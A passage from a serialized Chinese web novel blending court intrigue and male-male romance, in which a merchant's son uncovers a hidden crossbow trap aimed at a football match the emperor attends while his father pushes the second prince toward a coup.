又指着面无惧色的陈叔山威胁道:“胆敢混进我魏家探听消息,很好,我记住你了,等着瞧吧!” 说罢,他转身就走。 “呦呵,这人今天转性了?吃了憋还能这么能忍,不像他魏金宝一贯的作风啊。” 张牧望着魏金宝一行人怒气冲冲离开的背影,摸着下巴思索起来。 “不觉得似曾相识吗?”明瑾说,“几年前,在清沐坊,他也是这样被下人劝住的。” 几年过去,虽然明瑾觉得,他最多只能算是初具人形,但魏金宝确实比从前稍微成熟了些——当然,更大的可能是兹事体大,他再蠢也明白其中厉害,知道不能随便由着自己性子来了。 这让明瑾颇感新奇。 要叫魏金宝学会隐忍,其中难度,绝对不亚于让老母猪学会上树。 “所以,他的确在图谋什么。”荀婴说。 明瑾想了想,对陈叔山使了个眼色,对方心领神会,招呼着手下的弟兄们先去外面好好搓一顿庆祝。 “去明家最好的酒楼,就跟那儿的掌柜说,今天是我的场子,”明瑾笑道,看了一眼身边几人,“至于我们几个,接下来还得留在书院,就没法陪诸位了,见谅。” 他还特意吩咐陈叔山:“记得给兄弟们上座,好酒好菜招待着,钱都记在我账上。” “明少爷大气!” 罗汉帮的几人大喜,纷纷冲明瑾拱手道谢。 对于他们这些混迹街头的闲汉来说,能敞开肚皮吃一顿都不容易,更何况是明家酒楼这种档次的酒肉? 陈叔山都来不及和明瑾多说两句,就被一群人迫不及待地抬走了,气得他在半空中直骂。 “大出血啊,明少爷,”张牧把胳膊搭在他肩上,挑眉道,“这帮人可都是能吃的主儿,要是赢一次请一回,别把你家的酒楼都给吃穷了。” “那倒还不至于。” 明瑾知道他是在开玩笑,勾唇笑道:“没听刚才那姓魏的说吗,我现在可是傍上宁王了,要是明家真被吃穷了,那我就去宁王府门口要饭,总归是饿不死的。” 张牧立刻把手收回去,主动离他两丈远:“对不起,我错了,我就不该跟你搭话!” “行了,别贫了,”明瑾白了他一眼,“在下场比赛开始前,还是赶紧去藏书阁看看吧。” “不行。”荀婴却阻止了他,“就算书院的学子大半都在观看比赛,但白日里还是人多眼杂,要去藏书阁,至少也得等到人全部散去之后,不然容易打草惊蛇。” “那你的意思是,咱们晚上再来?” 李司看了看天色:“今晚好像会下雨啊。” “下雨?下雨更好,方便掩人耳目。”明瑾说,“我倒要看看,太子和魏家在联合起来搞什么名堂!” 蹴鞠比赛一共进行三日,最后一次比赛安排在第三天午后,届时皇帝也会携百官一同到场。 但这场拖了数年的比赛,时至今日,早已不是当初龚万提出的“与民同乐”那样简单了。 这场比赛,早已成为了晏珀和大臣们博弈的工具,同样,也是朝中各派保皇党、太子党和二皇子党争夺话语权、进而为自己争取政治资本的筹码之一。 大雍连年大旱,如今境内流民数量日益增长,各地官员都在努力镇压时不时冒头的叛乱。 虽说这些乱军尚且不成气候,但足以证明,这是一个相当负面的征兆。 北边的胡人,近来似乎又有动作,瓦图尔后来居上,已经威胁到了王庭的根基,一旦瓦图尔的首领上位,届时北胡一统,南下出征大雍,大宛国皇族软弱,定会袖手旁观。 即使他们率先对大宛动兵,以大雍目前的实力,也不过是唇亡齿寒罢了。 十几年前,尚有昭明军一支独苗能与胡人抗衡,但放眼当下,以大雍如今的武备,若是北胡王庭当真统一各部族挥师南下,大雍恐怕会重现十几年前的惨剧,甚至还犹有胜之。 而就在这种情况下,晏珀仍旧想要维持自己奢靡享乐的生活,自然会引起朝中大臣们的反对。 但晏珀久居人上,又怎么会真的听从大臣们的劝诫? 蹴鞠比赛也好、修建宫廷甚至是选秀也罢,都不过是个他借机打压不安分臣子、巩固皇权的由头罢了。 太子自打被废又立后,似乎学乖了,无条件支持父皇的一切决定,无论这个决定究竟有多么荒唐。 相比之下,二皇子就做不到他这个地步。 可能是没被晏珀毒打过,又或许是因为,单纯不想顺太子的意,以及叫自己上位后收获一堆烂摊子,对于太子提议大办特办蹴鞠比赛、等云英书院这场结束后还要召集天下“英雄”,为父皇办一场更大赛事贺寿的想法,他一直持反对意见。 他认为,这样会有损父皇的名声,叫天下人对皇室口诛笔伐,比起办蹴鞠比赛,更应该轻徭薄赋。 二皇子还特意提到,应该给商人减轻税负,理由是如今大雍国库的三分之一收入都依靠商业。 听起来十分有道理,但这番话里其实有不少夸大其词的成分,而究其原因,自然是二皇子也有自己的私心: 他并非嫡长,在礼法人心上本就弱势,太子本人更是有魏相等一众江南传统士族追随,根基深厚。 这帮人个个都是靠经营田庄、种田收租过日子,若是他不另辟蹊径,找到明家这些经商大户索取钱粮,他哪里来的本事与太子斗? 与之相对应的,他也得在朝堂上为这些富商争取利益。 但二皇子想起这些富可敌国的商人,心中却满是不屑之情。 他和他的兄长父皇一样,对商人是打心眼里瞧不上,觉得这些人不过是靠着坑蒙拐骗挣了些家财,投机倒把,乃国之蠹虫。 如今不过是还用得着这些人,待自己大业已定,一定要拿他们狠狠开刀! 不过,二皇子今日却顾不上畅想这些了。 “今日朝堂上,父皇那番话,究竟是什么意思?”他负手在府上来回踱步,突然停下脚步,直勾勾地望向站在自己前面的几人,咬牙道,“难道说,又是老大在他面前上了什么眼药?” 明敖站在人群靠后的位置,低着头不说话,存在感约等于无。 但他心里在想些什么,那就没人知道了。 站在明敖前面的几位,都是二皇子极为信重的幕僚,听闻二皇子发问,为首那位拱了拱手道:“殿下,可否再仔细为我等重复一遍当时殿上的对话和经过?” 二皇子抿了下唇,叹了口气,重新坐回了座位上。 “唉,好吧,你们也都坐。” 众人纷纷谢过殿下落座,二皇子目光放空地注视着前堂,回忆道:“早朝前半部分,一切正常,只是我听父皇的声音有些沙哑,便主动站出来请安询问他老人家龙体是否安康,结果却被父皇不冷不热地回了一句‘暂时还死不了,我儿不必担忧’。” 他握紧拳头,一拳砸在了身下红木椅的扶手上,“可待太子出列,说要把自己府上那支百年人参进献给父皇,父皇却龙颜大悦,散朝前,还说要等自己这次出宫回来,要宣布一件大事——” 二皇子神情狠厉:“老大已经是太子了,大雍近来国内又无甚大事发生,你们觉得,父皇这所谓大事,会是什么?” “这……” 幕僚们你看看我我看看你,都不敢做声。 还能是什么?除了皇权更迭,和平年代国中最大的事,那自然是封王呗。 可一旦封王,就意味着二皇子如果不选择那条最极端的路,或是太子意外暴毙的话,那他就彻底与皇位无缘了——不,就算太子暴毙,也该轮到太子的长子继承皇位。 二皇子可不接受一个毛都没长齐的小屁孩压在自己头上! “或许,陛下是另有他意,”沉寂一种,一位幕僚小心翼翼地起身献策,“不如殿下暂且忍耐一段时间,以不变应万变……” “今日割五城,明日割十城,这话,别说殿下了,连我都听腻了!” 不等神情莫测的二皇子回答,明敖便霍然起身,指着那幕僚的鼻子道:“我就问你,今日这一出,殿下明显是无妄之灾,太子身为兄长却毫无兄友弟恭之态,更无身为储君的胸襟气度,眼看着都要骑到殿下的脸上去了,你等却一味叫殿下忍耐,也不知究竟是何居心!” “你!” 那人顿时气极,反唇相讥道:“明敖,别以为你有几个臭钱,就能对吾等指手画脚了!满身铜臭的下九流商人,能进来旁听已是殿下不拘一格降人才,你还有胆来指点我一个翰林进士?” “好了。”二皇子淡淡道,“都坐下吧,诸位都是同僚,有话好好说。” 虽说他也赞同商人是下九流的看法,但不得不说,明敖这番话的确是搔到了他的痒处。 所以他冲明敖颔首道:“你且继续说。” 明敖眸光一闪,冲他拱了拱手:“殿下既然问了,那明某便大胆开口:殿下,时不我待,先不论陛下所讲的‘大事’究竟是什么,您可知晓,近来太子在城中散布的留言?” “哦?”二皇子顿时坐直了身体,皱眉问道,“是何留言?” “坊间都谣传,说九月初九,天狗食月,帝星将陨。” 明敖清了清嗓子,故作玄虚地压低了声音,“而这谣言的出处,据说,是黄大人流放在外的家眷亲口所讲,乃是黄大人临死前,在狱中留下的十二字血书谶纬。” 二皇子睁大了眼睛,脸色瞬间惨白如雪。 “什么——什么谶纬?我压根儿就没听过这种事情!”他手脚冰凉,勃然大怒道,“是谁如此包藏祸心,胡乱传谣?这是要把我推上绝路啊!” 黄甲是他的人,这是满朝文武的共识。 即使当时他只是单方面对黄甲接触示好,想要硬蹭上这位老臣的名声,但当黄甲被太子控告,下狱审讯的那一刻,他即使不是二皇子党,那也得是了。 “是不是太子?” 二皇子第一时间就想到了自己那位好兄长,俊秀的脸庞几乎扭曲,“肯定是他!除了他,再没有别人了……父皇居然也信了他……哈哈哈哈,简直可笑至极!” 明敖沉声道:“殿下,切莫先自乱阵脚,且听在下一言。” “……你说吧。” “既然您已经做好了鱼死网破的准备,而正好,对面又如此用心险恶,”明敖肃容道,“那如今比拼的,便只有谁能先狠下心动手,先下手为强了!” 先前那位幕僚立刻道:“殿下不可!一旦走上兵变之路,那便是再无回头之路可言啊!” “住口!” 明敖喝道:“昔日唐太宗玄武门之变,若是有你们这几个优柔寡断之人在旁风言风语,怕是连尸骨都凉透了!为君者最忌好谋寡断,殿下,您并非太子,宫中又防守森严,数年方才有如此良机,天命稍纵即逝,等不起啊!” 二皇子攥紧了双拳。 明敖死死盯着他的眼睛,他知道二皇子会同意的,人心会变,言语和行为也会被粉饰,但那些放在明家地下仓库里的冰冷甲胄不会说谎。 他只不过是——一步步接近二皇子,放大他心中的欲.望,然后,顺理成章地说出这番话而已。 若是瑾儿能看到这一幕就好了,明敖忽然没来由地想。 叫他看看他爹,不止是个会打算盘、跟人讨价还价的奸商,更是位能搅动朝堂乃至天下风云的纵横家。 不过,这话要是被那小子听见,估计会一脸嫌弃地说爹你脸皮真厚吧。 “……是他们逼我的。” 上首的二皇子终于做出了决定,他咬牙道:“行,干了!成败在此一举,不成功便成仁!” 明敖的唇边勾起一抹笑意。 他和众人一道,起身朝二皇子躬身行礼: “吾等愿为殿下马前卒!” “啊嚏!” 明瑾心道,是谁在念叨我? “嘘,小声点儿,别被巡逻的人发现了!” 张牧赶紧捂住明瑾的嘴巴,却险些撞到他的鼻子。 明瑾用力扯开这人的手,压低声音道:“我好着呢,别乱动。前面这几个家伙怎么办?” 荀婴披着蓑衣,压了压斗笠,任由雨水顺着一端哗啦啦流淌而下:“绕路吧。” “要不,我去引开他们?”李司提议道。 说着,他从口袋里摸出了一团油布包裹的东西,明瑾刚要问这是什么,看到李司揭开的一角,瞬间闭上了嘴巴。 几人瞪大眼睛看向李司。 “这么多烟花放在身上,你小子也不怕把我们一起炸上天?”张牧咬牙切齿道,说完忽然又卡壳了,不可置信道,“等下,你刚才把这玩意儿揣哪儿了?” “裤.裆啊,不然放在其他地方,都会被雨淋湿的。” 李司仍是憨笑。 但在明瑾等一干人的眼中:这家伙,绝对是个闷不啃声干大事的狠人! “咳,其实也不是不行,”明瑾神色有些一言难尽,但还是同意了这个计划,“李司你跑远点,要是不小心被抓到,就尽量拖延时间,等我们回来接应你。” 李司用力点了点头。 几人躲在树荫下,初步敲定了计划和接头时间,然后决定兵分两路,体力不好的荀婴跟着李司一起去引开外围巡逻的人,明瑾、张牧和陈叔山去藏书阁三层分别搜查。 之所以这样分配,还是因为陈叔山先前带回来的一则消息: 他在魏家这几日,发现管家买了许多书籍,一箱一箱地运回府上。 陈叔山本来以为,像魏家这种官宦家族,买书是再正常不过的一件事,因此也就没当回事;但明瑾听完,却第一时间察觉到了不对。 魏相还病着,魏伯贤离家出走,那魏家还有谁需要看书?魏金宝吗? 别开玩笑了。 明瑾宁可相信这世上有鬼,也不相信魏金宝有朝一日会奋发图强读书学习。 再联系一下藏书阁这个关键词,魏家想干什么,几乎就已经浮上水面了—— “他们一定对藏书阁的书动了手脚,”明瑾低声道,“因为若是皇帝来看比赛,锦衣卫一定会把书院里外搜查个遍,更别提从窗口处能直接看到现场的藏书阁了。” “在这种搜查之下,阁里肯定藏不住刺客,所以他们只能采取其他的刺杀方式,比如说,机关。” 张牧在羽林军也见过一些机关,两军对阵时,大多弓弩都需要人力操控,但他也知道,有一些可以通过安装在固定位置,定时射.发,因此对明瑾这个猜测也表示了认同。 “沙漏漏尽,不管有没有发现什么情况,都要下楼,听到没?” 明瑾一人塞给他们一个沙漏,见两人郑重点头,最后深吸一口气,趁着巡逻不注意,潜伏到离藏书阁边上的一处窗台下方,等待着潜入的时机。 “呯——!!!” “是谁?”“居然有人放烟花!” 五彩缤纷的焰火照亮了夜空,比他们约定的时间要晚一些,可能是因为受雨天影响,烟花还是受了潮。 倾盆大雨之中,凌乱的脚步声响起,原本守在阁内的巡逻纷纷来到大门处张望,不知外面究竟发生了什么。 趁此机会,明瑾三人翻窗而入,分头去往一到三层。 一片寂静之中,他摸黑踏上阶梯,听到了自己如擂鼓般震耳欲聋的心跳声,仿佛都能盖过窗外那轰隆作响的绚烂烟火。 这是明瑾第一次,在没有父母、也没有晏祁和书院先生们的支持和帮助下,与同伴们单独行动。 他想向晏祁证明,自己不仅有独当一面的能力,或许,还可以在某些地方助他一臂之力。 所以,先生…… 这场暴雨之下的盛大烟火,你可有看见?—— 作者有话说:双更二合一!下章就让晏祁出场[墨镜] 第55章 【一更】 天生一对 “轰隆——” 最后一道雷霆震响天地, 天边朝阳初升,长风无息,吹散漫天云雨。 明瑾一行人被淋得湿透, 躲在马车里瑟瑟发抖地烤火, 但想到今晚的收获, 人人脸上都带着兴奋之色。 “你确定吗?”张牧问道。 “确定。”明瑾用力点头。 李司:“那我们,是不是该把这件事告诉院长, 或者宁王殿下?” “不行!” 明瑾和荀婴异口同声地否决了他的想法。 “为什么?”李司打了个喷嚏, 表情十分不解,“那难道我们就这么坐视不管,让魏金宝他们得逞吗?” “怎么可能,”明瑾说,“既然发现了他们的计俩, 那肯定得好好利用一番。如果我们现在就把机关的位置告诉院长他们, 那魏金宝只要咬死不承认是他干的, 我们又拿他有什么办法?” 和他猜测的一样, 在藏书阁的三楼靠窗的书柜内摆放的书册,果然被魏金宝他们动了手脚。 但昨晚时间紧迫, 他只匆匆扫了一眼,没仔细看清它内部的构造,借着窗外烟火的光芒,依稀判断出那几支箭头的确是瞄准蹴鞠场上的, 便在巡逻接近的脚步声中飞快离开,下楼和张牧他们汇合去了。 明瑾思索道:“所以, 必须要抓个现行,把事情闹大才行。” 靠在车厢上的张牧懒洋洋地动了动身子,摆出一副洗耳恭听的架势:“怎么说?” 明瑾神秘一笑:“这还不简单?叫他们自投罗网就行。” 但他心中也有些犹豫, 关于究竟要不要告诉晏祁这件事。 他们和罗汉帮这些三脚猫外行,自然不能和宁王府的暗卫相比,若是晏祁肯助他一臂之力,那自然是皆大欢喜;可明瑾总觉得,晏祁知道这件事后,更大的可能性是直接阻止自己插手,由他来全权接管后续。 这可不是明瑾想要看到的结果。 今日行动的成功给了他很大的信心,明瑾回到明家时,脑袋里都还在复盘这次计划的全过程。 虽然仍有一些纰漏和意外,但总的来说,他对自己的成长还是很满意的。 “哎呦!” 因为思考得太过入神,明瑾拐弯时没注意前面来人,险些摔在地上,还好在最后关头被人一把按住了。 “都这么大小伙子了,怎么走路还这么冒冒失失的?”明敖无奈地扶住他,“还有,下次在家注意着点,你娘还怀着身孕呢。” 提到文轻尘腹中的孩子,明敖眼神中闪过一丝愧疚和挣扎,但当明瑾抬头看过来时,他又恢复了往日那副万事不过心的模样,乐呵呵地问道:“怎么样,球踢赢了吗?……等下,你怎么浑身湿成这样?” “赢了,我回去换身衣服。”明瑾不愿多谈,他赶着回房间继续琢磨接下来的计划呢,和老爹打了声招呼就要绕过对方离开,但刚走没两步,就被明敖叫住了。 “难得有空,咱父子俩好像很久没下棋了,要不来一盘?” 明瑾停下脚步,无奈道:“爹,就你那臭棋篓子,还是算了吧。我还有事,等之后有空再教您下棋哈!” 说完便加快脚步,匆匆离开了。 “嘿这臭小子,居然还敢嫌弃他爹的棋艺,”明敖望着他的背影,吹胡子瞪眼,“明明你小时候下棋还是我教的呢,这才跟宁王学了两招,就拽上了。” “唉,还是小时候好玩啊……” 明瑾远远听到他爹的感叹,没忍住,翻了个大大的白眼。 别以为他小记性不好啊,明瑾还清楚记得,他爹是怎么带娃的,包括但不限于高空抛娃、探索小孩憋气时长极限等等一系列骚操作。 所以明瑾从小就早早悟出了一个道理: 有危险的时候,老爹一定会站在他面前保护他;但没有危险的时候,老爹就是最大的危险! * 转眼功夫,第二场比赛开始了。 这次明瑾压根儿没上场,因为对手的实力他早就打探过,光文叔一个人就可以力压全场,根本用不着过于担心。 但他没上场的原因还是因为昨晚体力消耗太过,回去之后又把自己关在房间里琢磨了半天,现在整个人都浑浑噩噩的,估计上场了也起不到什么作用,还不如待在观众席给他们加油。 ……顺便盯着魏金宝。 魏金宝今天的表现,跟昨天还有心情主动跑过来挑衅的状态截然不同。 他看上去很有些坐立不安,整场比赛期间,基本没怎么往明瑾这边看,倒是频频往藏书阁的方向张望。 是听说了昨晚发生的事情吗? 明瑾心中冷笑,故意在魏金宝涣散目光扫过的时候,用口型对对方问道:你在看什么? 魏金宝神色一凛,刚要回敬一句干你屁事,明瑾就扭头跟坐在身旁的其他人讨论起来,把他到嘴边的话堵得死死的,一口气不上不下,好不难受。 听到身后传来的谩骂声,明瑾的唇角不易察觉地勾了勾。 活该! 但光是这样还不够,他得让魏金宝主动提起警惕,去藏书阁查看,然后再抓他个现行。 “常兄,我记得你认识书院安排巡逻的弟兄对吧?”待比赛结束,人群散场之后,他故意走到魏金宝后面,大声冲身边的年轻人问道,“明日最后一场比赛前,我想去藏书阁借阅两本古籍,不知你可有办法带我进去?” 那常姓学子一愣,有些为难道:“这……明兄不若换个时间,等比赛完后再借阅?你也知道,最近那边防守严密,我虽然确实认识几位巡逻的弟兄,但也不好贸然跟他们开这个口哇。” “这个你放心,我就进去拿两本书,别的什么也不干。”明瑾拍着胸脯保证道。 紧接着,他又笑眯眯地摆出自己这边的条件,“如果我没记错的话,常兄今年便要从学院毕业归乡了吧?居江南,大不易,接下来一年备战科举,若是常兄不嫌弃,我名下还有一处别院空着……” 常姓学子眼前一亮,顿时大喜:“既然如此,明兄,那没什么好说的了,明日等我消息,定带你进那藏书阁一观!” 明瑾嘴上说着好啊好啊,一双眼睛则直勾勾地盯着魏金宝的背影,果不其然,发现对方走路的姿态和动作都变得不自然起来。 ——上钩了。 明瑾简直迫不及待地期待明天的到来了! 但他的兴奋一直持续到第二天早上,天不亮就被文轻尘喊起来为止。 “娘,这还早呢……” 文轻尘爱怜地看着迷迷糊糊一头栽倒在自己怀里、希望靠着撒娇能多睡一时片刻的少年,摸了摸明瑾乱糟糟的蓬松长发说:“不早了,你该去书院了。” “啊!为什么——明明皇帝下午才来,偏要我们一大清早就过去等他?” 明瑾满腹怨气,他昨晚可一共只睡了不到三个时辰! “谁叫他是皇帝呢?皇帝就是这样的啊。”文轻尘笑了,“好了,快起来吧,洗漱的东西都给你准备好了,还有新衣裳,今儿个一定要打扮得光鲜亮丽点。” 她说着,还遗憾地叹了口气,说只可惜没能亲眼见到明瑾在场上踢球的英姿。 “先生要是当皇帝,才不会摆这么大的架子呢,穷讲究一个。”明瑾嘟嘟囔囔着,百般不情愿地下了床,更衣洗漱之后,他拍拍自己的脸蛋,觉得脑袋终于清醒了点儿。 对了,今天除了皇帝,文武百官应该也都会来! 那这是不是意味着……晏祁也要来? 明瑾的小心脏开始咚咚直跳,他立刻加快了干饭的速度,随手撸了两把寅将军的虎头,招呼着文叔,迫不及待地骑上骡子就要出发。 “路上慢点儿!”文轻尘在他身后喊道。 明瑾回头冲她和明敖摆了摆手,又做了个回去吧的手势,迎着初升的太阳,兴冲冲地出发了。 “文叔,你说他会来吗?” 文叔牵着缰绳,不紧不慢道:“小少爷很希望殿下来看比赛?” “那——是当然了,”明瑾拖长了声音,带着几分埋怨,几分欢快说道,“也不知道先生最近都在忙些什么,连个人影都找不到,这次好不容易有机会逮到他,一定要问个明白。” 他的眼睛亮亮的,从前晏祁也有过消失一段时间的举动,但那个时候,明瑾甚至都不知道对方的身份,探寻真相就更是无从谈起了,而现在嘛…… 明瑾想着魏金宝的事情,忍不住哼起了小曲儿,仿佛已经看到了晏祁摸着自己的头,夸奖他干得漂亮的场景。 然而。 纵然已经有了些心理准备,明瑾还是低估了皇族在大雍的地位。 晏珀来到云英书院的时间,正好是午时三刻。 整个书院的氛围都变得肃杀紧张,一阵急促的脚步声后,上百名锦衣卫将场地周围严防死守地包围起来,禁军戒备森严,伫立两侧,使者持幡、杖、金节等物开道,导迎乐吹奏丝竹,铜鼓云锣齐声奏响,五色龙纛迎风招展。 明瑾看得目瞪口呆:“太夸张了吧……” 张牧戳了戳他,意有所指道:“大丈夫当如是,嗯?” “那还是免了吧。”明瑾压低声音说,“出宫一趟都如此兴师动众,我今日算是明白,什么叫‘劳民伤财’了。” 荀婴脸色一白:“嘘,噤声!那位马上就到了!” 一把九龙曲柄黄华盖出现在众人的视野之中,所有人的心都骤然一紧,知道在这之后,就是皇帝所乘的步辇了。 “陛下驾到——” “吾皇万岁万岁万万岁!” 明瑾随着众人一道跪拜,心里默念着我不是跪皇帝是在跪先生,但因为他所在的位置比较靠后,在皇帝步辇经过时,他还是故意勇气,偷偷抬头朝前方看了一眼。 “明瑾你不要命啦?”他身边的张牧赶紧一把将他按下。 但只一眼,便叫明瑾浑身一震,忙低下头,再不敢随便乱瞧。 他的额头贴在地上,用力闭了闭眼睛,记忆中那日瘦湖边初见的画面,又再度浮现在眼前。 白衣,金眸,迎风而立,贵不可言…… “明兄……” “明兄!醒醒,可以起来了!” 明瑾恍恍惚惚地应了一声,站起身时,荀婴还一脸担忧地看着他:“明兄,你脸怎么红成这样?该不会是生病了吧?” 张牧瞥了他一眼,冷哼道:“那可不,相思病嘛。” 方才他也偷瞧了一眼,跟在皇帝身边那位,不是宁王又是哪个? 亏得他们上次在学堂已经见过一面了,不然张牧非得被这位的眼神盯出一身白毛汗来。 不就是掐着明瑾的脖子把人按下去了吗?旁边那么多锦衣卫都在看着呢,说到底,还是为他好…… 张牧瞪了一眼一脸莫名其妙的明瑾,恨恨地磨了磨牙,阴阳道: “你俩可真是,天生一对啊。”—— 作者有话说:下午二更!捋捋剧情,国庆前应该就能嘎了皇帝让攻上位[让我康康] 第56章 【二更】 连魂都被他亲去了大半…… “谢谢, 你真有眼光。”明瑾真诚地向张牧道谢。 “我不是在夸奖你!”张牧怒吼道,“你——算了,我跟你这家伙讲什么呢, ”他捂着脑袋叹气, “话说你那个计划, 执行得怎么样了,魏金宝上钩了没?” 明瑾比划了一个“没问题”的手势:“放心, 他肯定得上钩。” 他中午去藏书阁的时候, 一直感觉有人在盯着他,这个“有人”不用问也知道是谁,但明瑾全程淡定,在三楼转悠了一圈,借了两本书就离开了。 他坚信, 在动手之前, 魏金宝肯定要派人去查看的。 这件事他八成也不会上报给太子知晓, 因为魏家是全权负责此事的, 一旦出了问题,那太子定会第一时间同魏家进行切割。 明瑾坐在等候区内思索着, 接下来自己该如何抓他们个现行,是直接上报锦衣卫,还是自己找人在藏书阁堵住他们? 如果找人,那还要把张牧他们牵扯进来吗? 这个问题明瑾已经思考很久了, 其实他更希望带上一群学子,“装作不经意”地发现此事, 可由于陛下的到来,今日书院一早便清了场,除了他们这些参加比赛的学子外, 在场的所有观众都是文武百官,也因此,气氛远不如先前热烈。 场上的蹴鞠比赛已经开始了,这一场是白打,主要比拼的是运球技术和表演技巧,跟他们没有太大关系。 忽然,他的目光注意到,远处一直关注着的白色身影站起身,恭敬地对坐在自己前面的晏珀说了些什么,然后又抬头,似乎冲他所在的方向淡淡一笑,转身朝外面走去。 明瑾顿时坐不住了。 “我去去就来。”他压低声音对身边人说,然后也弯腰离开了等候区。 但明瑾刚离开场地没多久,就被一名禁军给拦住了。 “站住,”他冷声喝道,“干什么的?” 明瑾忙道:“我是今日比赛的学子,刚才紧张喝多了水,想去趟茅厕……” “茅厕?茅厕可不是在这个方向,”那人却一点儿也不好糊弄,闻言反而更加警惕起来,握着兵器上前一步,“我看你就是居心不良……” 正当明瑾后背冷汗渗出、绞尽脑汁地想着该如何解释脱身时,一道熟悉的声音自背后响起—— “他是同我一起的。” 那禁军一愣,随后忙诚惶诚恐地向来人施礼:“宁王殿下!小的有眼不识泰山……” “行了,你走吧。” 晏祁淡淡道。 打发走了那人,他扭头看向明瑾,毫不意外地撞上了一双满溢着兴奋的漆黑瞳仁。 “这里不是说话的地方,”晏祁提醒他,“去藏书阁吧。” 但他说完,却拉住了明瑾的手往前走,明瑾一愣,低头看了眼两人相执的双手,虽然还没完全反应过来,但笑意已经不知不觉爬上了眼尾。 有晏祁在,果然,他们很顺利地通过了层层封锁,进入了藏书阁内部。 空旷的书库里,除他们外空无一人,晏祁松开牵着明瑾的手,刚要开口,就被猛地扑上来的少年撞得后退了半步,脊背抵在了书架上。 “干什么呢。”他摸了摸怀中少年的头顶,“又不是没跟你打过招呼。” “光打招呼怎么够。”明瑾闷声闷气道。 他把脑袋埋在晏祁的颈侧,深吸了两口气,被那盈满鼻腔的草药香气成功安抚住了多日未见的焦灼心情,这才稍微送了些怀抱,跟晏祁一五一十地把自己这段时间的发现和行动都复述了一遍。 晏祁看着面前眼睛亮晶晶的明瑾,指尖有些蠢蠢欲动,但在听到明瑾着重强调的“太子和魏家想要行刺杀之事”时,表现出的反应却远没有明瑾所想的那样激动。 相反,他只是平静地说了一句“知道了”,然后便转而问起这些天明家可有发生什么事。 “明家能有什么事?”明瑾急了,拽着他的衣袖道,“别打岔,我跟你说的你听到没有,事关储君,这可是大事!” “这些不用你操心。”晏祁捏了捏他的掌心,垂眸道,“倒是你最近,瘦了许多。” 明瑾吹胡子瞪眼地看着他。 “我就知道你会这么说!”他怒道。 一双眼睛瞪得溜圆,像是生气炸毛的狸奴,晏祁想。 “我觉得,”晏祁捏了捏他的耳尖,慢吞吞地说道,“咱们许久未见,还是应该干些别的事情。俗话说,一寸光阴一寸金……” 他的声音,逐渐消弭在两人贴近的距离间。 晏祁摩挲着明瑾纤瘦的脖颈,叹息着心想,这段时间内,思念成疾的,又何止是这孩子一人? 枉他活了三十年,一朝坠入情海,却还跟个毛头小子一样,每夜都想着念着这孩子入睡。 一觉醒来,总是要先处理好下.半身的问题,才能像个正常人一样出门。 明瑾的眼神逐渐迷离,他的双臂揽住晏祁的脖颈,不知不觉间,人已经挂在了对方身上,唇.舌被深入攫取,他竭力后仰想要躲开:“停……现在不是干这个的时候,我在……”跟你说正经的呢! 但晏祁似乎并不想听他讲这些话题,见明瑾有意躲避,他蹙了蹙眉头,目露不悦之色,压下来的唇也比方才更急更重了些。 明瑾本就对他痴迷,被晏祁这么一弄,更是不知道东西南北了,连魂都被他亲去了大半。 听到耳畔男人声音低沉地哄他张嘴,少年晕乎乎地自愿把唇送上,甚至还伸出舌尖,讨好地舔了舔晏祁的下唇。 这副模样看得晏祁差点浑身血液都要沸腾,一方面在心中暗叹明瑾可真是个宝贝,另一方面又觉得,自己实在太不要脸,简直和街上哄骗黄花大闺女的老流氓也没什么两样。 正当两人拥吻得难分难舍之际,底下忽然传来了一阵轻微的动静,是脚步声。 沉浸在晏祁难得主动亲热之中的明瑾并未察觉,但时刻注意着外围的晏祁听见了,他神色不变,用大手托起明瑾肉感十足的屁股,眯起眼捏了捏,用唇眼疾手快地堵住了明瑾想要惊呼的嘴巴,然后低低嘘了一声。 “有人来了,噤声。” 明瑾睁大了眼睛:“是魏——” 还未等说完,晏祁又吻了上来。 他托着明瑾,轻巧地转移到了藏书阁的一处视线死角,拉上帷幕遮挡住两人的身形,然后将这个吻继续了下去。 明瑾却没办法再这样掩耳盗铃下去了,他瞪着晏祁,想要推开对方,但男人的臂膀就跟铁箍一样纹丝不动,明瑾又不敢使太大的力气,更不敢出声,只能就这样任由他肆意妄为。 听着那脚步声越来越近,他一颗心险些要跳出喉咙,泄愤似的咬了下这不知轻重的家伙,谁知却激得晏祁更加兴奋。 明瑾眼眶发酸,涣散的瞳孔倒映着晏祁的身影,男人原本精致面容在欲.望的薰蒸下变得粗犷扭曲,那深沉又焦灼的模样,简直像是……像是要把他活活吞下去似的! 少年的眼角泛红,一双原本漆黑明亮的眼睛渐渐变得朦胧湿润,他无力依靠在晏祁胸前,攥紧男人的衣襟,听到外面的人似乎在翻找查看着什么,在确定无误之后,又飞快地离开了这一层。 “……混蛋!” 错失良机,他气得一拳锤在了晏祁肩膀上,腕骨却被晏祁捏在手心,和男人十指相扣。 仿佛他自投罗网似的。 这一刻,明瑾心中忽然升起了一丝懊悔—— 当初他追人时态度无比坚定,说无论如何自己都不会改变心志,可眼下这情形,怎么有种他傻乎乎羊入虎口的感觉? “我说过,有关朝堂的事情,我自有安排,不需要你插手。”晏祁怜惜地吻去他眼角的泪珠,神情温柔,“你在书院,能获得消息的渠道太少,因此有时会一叶障目,看不清事态的全貌。” 明瑾猛地抬头:“那你倒是告诉我,全貌是什么?” 晏祁不语,当他还想低头在明瑾的唇上落下一个吻时,被少年姿态坚决地避开了:“你要是不说,那就别再靠近我。” 明瑾用力推开了晏祁,手背抹去唇边的水渍,攥着拳头,目光炯炯地盯着他,仿佛今天他不说他们两个就没完似的。 晏祁沉默许久,叹了一口气。 “好吧,”他说,“也不是不可以告诉你,但其实,就算我不说,你马上也会知道了。” 他眼神悠远,视线投向窗外正热火朝天进行比赛的蹴鞠场地,明瑾顺着他的目光望去,听到晏祁淡淡道:“今日真正想要动手的,并非太子。” “魏相是个聪明人,他虽然站队太子,但自始至终,他的立场都是同那一位共进退。即使将来太子上位,也不会允许魏家延续现在的辉煌,这一点,他早就已经看明白了。” 晏祁转头看向神色震惊的明瑾,似有若无地笑了笑:“所以你现在还觉得,他们在藏书阁里的这些小动作,能瞒过晏珀吗?” 明瑾张了张嘴,忽然哑着嗓子问道:“那这么说来,你刚刚是故意放那人走的?” 晏祁不置可否。 “特意离场,也只是为了这个……” “这倒不是,”晏祁立刻打断他的话,大概是因为看到明瑾的表情不对,他正色解释道,“当然也是为了顺便来看你一眼。” “只是顺便吗?”明瑾失落至极,背过去,声音带上了哭腔,“我还以为,你当真是想我了……” 